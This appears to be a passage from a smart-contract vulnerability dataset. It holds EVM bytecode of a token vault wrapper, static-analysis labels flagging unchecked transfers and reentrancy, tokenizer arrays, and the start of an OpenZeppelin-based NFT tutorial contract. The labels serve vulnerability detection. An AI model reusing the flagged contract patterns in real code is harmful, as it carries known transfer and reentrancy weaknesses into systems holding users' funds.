3610345366004611b6f565b610c0d565b6101e5610358366004611b98565b610c1a565b6101db61036b366004611afe565b610c31565b61029e610ef5565b6101e5610386366004611a91565b610f0d565b6101e5610399366004611bea565b610f2a565b6101db6103ac366004611bea565b610f35565b6103b9611122565b6040516101f29190611c50565b6103b9611146565b6040517f23b872dd0000000000000000000000000000000000000000000000000000000081526001600160a01b037f000000000000000000000000ca3d75ac011bf5ad07a98d02f18225f9bd9a6bdf16906323b872dd9061043790339030908690600401611c64565b602060405180830381600087803b15801561045157600080fd5b505af1158015610465573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104899190611bca565b5060008061049561116a565b9092509050816104a682600161119c565b6104b09082611fa4565b6009549091506000816104c45750846104dc565b826104cf878461210c565b6104d99190611fbc565b90505b841580156104e8575083155b156104fb576104f860018761212b565b95505b61050e6105088787611fa4565b856112bf565b336000908152600760205260408120805483929061052d908490611fa4565b9091555061053d90508183611fa4565b600955505050505050565b60095481565b6000805461055b90612142565b80601f016020809104026020016040519081016040528092919081815260200182805461058790612142565b80156105d45780601f106105a9576101008083540402835291602001916105d4565b820191906000526020600020905b8154815290600101906020018083116105b757829003601f168201915b505050505081565b3360008181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610635908690611cac565b60405180910390a35060015b92915050565b6040517f095ea7b30000000000000000000000000000000000000000000000000000000081526001600160a01b037f000000000000000000000000ca3d75ac011bf5ad07a98d02f18225f9bd9a6bdf169063095ea7b3906106cf907f0000000000000000000000003d980e50508cfd41a13837a60149927a11c0373190600090600401611c88565b602060405180830381600087803b1580156106e957600080fd5b505af11580156106fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107219190611bca565b506040517f095ea7b30000000000000000000000000000000000000000000000000000000081526001600160a01b037f000000000000000000000000ca3d75ac011bf5ad07a98d02f18225f9bd9a6bdf169063095ea7b3906107ab907f0000000000000000000000003d980e50508cfd41a13837a60149927a11c037319060001990600401611c88565b602060405180830381600087803b1580156107c557600080fd5b505af11580156107d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fd9190611bca565b50565b6001600160a01b0383166000908152600360205260408120548281101561085c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085390611ee8565b60405180910390fd5b6001600160a01b0385163314610904576001600160a01b0385166000908152600460209081526040808320338452909152902054600019811461090257838110156108d3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085390611d78565b6108dd848261212b565b6001600160a01b03871660009081526004602090815260408083203384529091529020555b505b61090e838261212b565b6001600160a01b03808716600090815260036020526040808220939093559086168152205461093e908490611fa4565b6001600160a01b0380861660008181526003602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610990908790611cac565b60405180910390a360019150505b9392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b60025460ff1681565b60065481565b6001600160a01b0381166000908152600360205260408120546109fa9061131d565b90505b919050565b6040517f23b872dd0000000000000000000000000000000000000000000000000000000081526000906001600160a01b037f000000000000000000000000ca3d75ac011bf5ad07a98d02f18225f9bd9a6bdf16906323b872dd90610a6e90339030908790600401611c64565b602060405180830381600087803b158015610a8857600080fd5b505af1158015610a9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac09190611bca565b506000610acb611366565b50905061099e8482611573565b60085470010000000000000000000000000000000090046fffffffffffffffffffffffffffffffff1681565b60025460009081908190610b1c9060ff16600a61203b565b90506000610b298261131d565b9050600081610b38848961210c565b610b429190611fbc565b90506000610b52898389866115f2565b99919850909650505050505050565b60036020526000908152604090205481565b60076020526000908152604090205481565b60056020526000908152604090205481565b6000806000806000610ba7611366565b6001600160a01b0388166000908152600360205260409020549193509150610bcf8784611573565b9196909550909350915050565b6001805461055b90612142565b7f000000000000000000000000000000000000000000000000000000000000001281565b600061099e338484610800565b6000610c2984848460006115f2565b949350505050565b6006546001600160a01b0388166000908152600560209081526040808320549051929392610c8a927f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9928d928d928d92918d9101611cb5565b60405160208183030381529060405280519060200120604051602001610cb1929190611c1a565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0818403018152919052805160209091012090506001600160a01b038816610d29576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085390611e0c565b60018185858560405160008152602001604052604051610d4c9493929190611ce9565b6020604051602081039080840390855afa158015610d6e573d6000803e3d6000fd5b505050602060405103516001600160a01b0316886001600160a01b031614610dc2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085390611e43565b841580610dcf5750844211155b610e05576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085390611eb1565b7f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0821115610e5f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085390611daf565b6001600160a01b0388166000908152600560205260408120805491610e8383612196565b90915550506001600160a01b038089166000818152600460209081526040808320948c168084529490915290819020899055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610ee3908a90611cac565b60405180910390a35050505050505050565b6008546fffffffffffffffffffffffffffffffff1681565b600460209081526000928352604080842090915290825290205481565b60006109fa8261131d565b3360009081526007602052604081208054839290610f5490849061212b565b909155506000905080610f6561116a565b6009549193509150600081610f7a868561210c565b610f849190611fbc565b905060007f0000000000000000000000003d980e50508cfd41a13837a60149927a11c037316001600160a01b031663e63697c8833060006040518463ffffffff1660e01b8152600401610fd993929190611f53565b602060405180830381600087803b158015610ff357600080fd5b505af1158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190611c02565b905060008361103a888861210c565b6110449190611fbc565b9050611062611053828861212b565b61105d858861212b565b6112bf565b61106c878561212b565b6009556001600160a01b037f000000000000000000000000ca3d75ac011bf5ad07a98d02f18225f9bd9a6bdf1663a9059cbb336110a98486611fa4565b6040518363ffffffff1660e01b81526004016110c6929190611c88565b602060405180830381600087803b1580156110e057600080fd5b505af11580156110f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111189190611bca565b5050505050505050565b7f0000000000000000000000003d980e50508cfd41a13837a60149927a11c0373181565b7f000000000000000000000000ca3d75ac011bf5ad07a98d02f18225f9bd9a6bdf81565b6008546fffffffffffffffffffffffffffffffff808216917001000000000000000000000000000000009004165b9091565b6000807f0000000000000000000000003d980e50508cfd41a13837a60149927a11c037316001600160a01b03166399530b066040518163ffffffff1660e01b815260040160206040518083038186803b1580156111f857600080fd5b505afa15801561120c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112309190611c02565b9050821561127f576112637f0000000000000000000000000000000000000000000000000000000000000012600a61203b565b61126d858361210c565b6112779190611fbc565b915050610641565b61128a816001611fa4565b6112b57f0000000000000000000000000000000000000000000000000000000000000012600a61203b565b61126d908661210c565b600880546fffffffffffffffffffffffffffffffff928316700100000000000000000000000000000000029383167fffffffffffffffffffffffffffffffff0000000000000000000000000000000090911617909116919091179055565b600061134a7f0000000000000000000000000000000000000000000000000000000000000012600a61203b565b611352611650565b61135c908461210c565b6109fa9190611fbc565b60008060008061137461116a565b915091506000827f000000000000000000000000ca3d75ac011bf5ad07a98d02f18225f9bd9a6bdf6001600160a01b03166370a08231306040518263ffffffff1660e01b81526004016113c79190611c50565b60206040518083038186803b1580156113df57600080fd5b505afa1580156113f3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114179190611c02565b611421919061212b565b90508215158061143057508115155b156114435761144060018261212b565b90505b600061145082600061119c565b90508083111561147d576114716114678386611fa4565b61105d838661212b565b94509250611198915050565b60006001600160a01b037f0000000000000000000000003d980e50508cfd41a13837a60149927a11c0373116636e553f656114b88588611fa4565b306040518363ffffffff1660e01b81526004016114d6929190611f3c565b602060405180830381600087803b1580156114f057600080fd5b505af1158015611504573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115289190611c02565b905060006115368487611fa4565b611540838661210c565b61154a9190611fbc565b905061156660008261155c8589611fa4565b61105d919061212b565b9650919450505050509091565b6001600160a01b038216600090815260036020526040902054611597908290611fa4565b6001600160a01b0383166000818152600360205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115e6908590611cac565b60405180910390a35050565b60006115fe33856116e8565b600061160b858785611758565b905083811015611647576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085390611e7a565b95945050505050565b60007f0000000000000000000000003d980e50508cfd41a13837a60149927a11c037316001600160a01b03166399530b066040518163ffffffff1660e01b815260040160206040518083038186803b1580156116ab57600080fd5b505afa1580156116bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116e39190611c02565b905090565b6001600160a01b03821660009081526003602052604090205461170c90829061212b565b6001600160a01b0383166000818152600360205260408082209390935591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115e6908590611cac565b60008161176a57611767611650565b91505b60008061177561116a565b909250905060006117a77f0000000000000000000000000000000000000000000000000000000000000012600a61203b565b6117af611650565b6117b9908961210c565b6117c39190611fbc565b9050828110156118a8576117e46117da828561212b565b61105d8985611fa4565b6040517fa9059cbb0000000000000000000000000000000000000000000000000000000081526001600160a01b037f000000000000000000000000ca3d75ac011bf5ad07a98d02f18225f9bd9a6bdf169063a9059cbb9061184b9089908590600401611c88565b602060405180830381600087803b15801561186557600080fd5b505af1158015611879573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061189d9190611bca565b50925061099e915050565b60006001600160a01b037f0000000000000000000000003d980e50508cfd41a13837a60149927a11c037311663e63697c86118e3858b611fa4565b306127106040518463ffffffff1660e01b815260040161190593929190611f53565b602060405180830381600087803b15801561191f57600080fd5b505af1158015611933573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119579190611c02565b905060006119658985611fa4565b61196f838b61210c565b6119799190611fbc565b905061199a816119898488611fa4565b611993919061212b565b60006112bf565b6040517fa9059cbb0000000000000000000000000000000000000000000000000000000081526001600160a01b037f000000000000000000000000ca3d75ac011bf5ad07a98d02f18225f9bd9a6bdf169063a9059cbb90611a01908b908590600401611c88565b602060405180830381600087803b158015611a1b57600080fd5b505af1158015611a2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a539190611bca565b5098975050505050505050565b80356001600160a01b03811681146109fd57600080fd5b600060208284031215611a88578081fd5b61099e82611a60565b60008060408385031215611aa3578081fd5b611aac83611a60565b9150611aba60208401611a60565b90509250929050565b600080600060608486031215611ad7578081fd5b611ae084611a60565b9250611aee60208501611a60565b9150604084013590509250925092565b600080600080600080600060e0888a031215611b18578283fd5b611b2188611a60565b9650611b2f60208901611a60565b95506040880135945060608801359350608088013560ff81168114611b52578384fd5b9699959850939692959460a0840135945060c09093013592915050565b60008060408385031215611b81578182fd5b611b8a83611a60565b946020939093013593505050565b600080600060608486031215611bac578283fd5b611bb584611a60565b95602085013595506040909401359392505050565b600060208284031215611bdb578081fd5b8151801515811461099e578182fd5b600060208284031215611bfb578081fd5b5035919050565b600060208284031215611c13578081fd5b5051919050565b7f190100000000000000000000000000000000000000000000000000000000000081526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b90815260200190565b9586526001600160a01b0394851660208701529290931660408501526060840152608083019190915260a082015260c00190565b93845260ff9290921660208401526040830152606082015260800190565b6000602080835283518082850152825b81811015611d3357858101830151858201604001528201611d17565b81811115611d445783604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b6020808252601d908201527f45524332303a20696e73756666696369656e742d616c6c6f77616e6365000000604082015260600190565b60208082526022908201527f45524332303a20696e76616c6964207369676e6174757265202773272076616c60408201527f7565000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526018908201527f45524332303a20696e76616c69642d616464726573732d300000000000000000604082015260600190565b60208082526015908201527f45524332303a20696e76616c69642d7065726d69740000000000000000000000604082015260600190565b60208082526015908201527f4e6f7420656e6f75676820756e6465726c79696e670000000000000000000000604082015260600190565b60208082526015908201527f45524332303a207065726d69742d657870697265640000000000000000000000604082015260600190565b6020808252601b908201527f45524332303a20696e73756666696369656e742d62616c616e63650000000000604082015260600190565b6fffffffffffffffffffffffffffffffff91909116815260200190565b9182526001600160a01b0316602082015260400190565b9283526001600160a01b03919091166020830152604082015260600190565b918252602082015260400190565b9283526020830191909152604082015260600190565b60ff91909116815260200190565b60008219821115611fb757611fb76121b1565b500190565b600082611ff0577f4e487b710000000000000000000000000000000000000000000000000000000081526012600452602481fd5b500490565b80825b60018086116120075750612032565b818704821115612019576120196121b1565b8086161561202657918102915b9490941c938002611ff8565b94509492505050565b600061099e60001960ff8516846000826120575750600161099e565b816120645750600061099e565b816001811461207a5760028114612084576120b1565b600191505061099e565b60ff841115612095576120956121b1565b6001841b9150848211156120ab576120ab6121b1565b5061099e565b5060208310610133831016604e8410600b84101617156120e4575081810a838111156120df576120df6121b1565b61099e565b6120f18484846001611ff5565b808604821115612103576121036121b1565b02949350505050565b6000816000190483118215151615612126576121266121b1565b500290565b60008282101561213d5761213d6121b1565b500390565b60028104600182168061215657607f821691505b60208210811415612190577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b60006000198214156121aa576121aa6121b1565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fdfea26469706673582212206dd36e5f86676573a1f9bf63ef07f1f961d1117994b18a22b3b576e4c4d8326f64736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 22907, 2620, 3401, 16576, 2094, 18139, 16086, 2546, 2620, 2546, 26224, 10354, 2278, 2575, 2063, 2549, 2278, 2487, 2278, 2629, 6305, 29292, 17788, 2620, 2549, 3401, 2629, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 15895, 1011, 1016, 1012, 1014, 1013, 1013, 5432, 1024, 2023, 2038, 2042, 9398, 4383, 2005, 2095, 2078, 28658, 2544, 1018, 1012, 1016, 1010, 2079, 2025, 2224, 2005, 2896, 2030, 3020, 1013, 1013, 4617, 2302, 3319, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 19706, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 19706, 1013, 1045, 29100, 2078, 3567, 11314, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 1061, 3567, 11314, 27241, 25856, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,677
0x97279330427C2C4D0FfCc7b4B55aA21258C55C76
// SPDX-License-Identifier: MIT // Amended by HashLips /** !Disclaimer! These contracts have been used to create tutorials, and was created for the purpose to teach people how to create smart contracts on the blockchain. please review this code on your own before using any of the following code for production. HashLips will not be liable in any way if for the use of the code. That being said, the code has been tested to the best of the developers' knowledge to work as intended. */ // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => 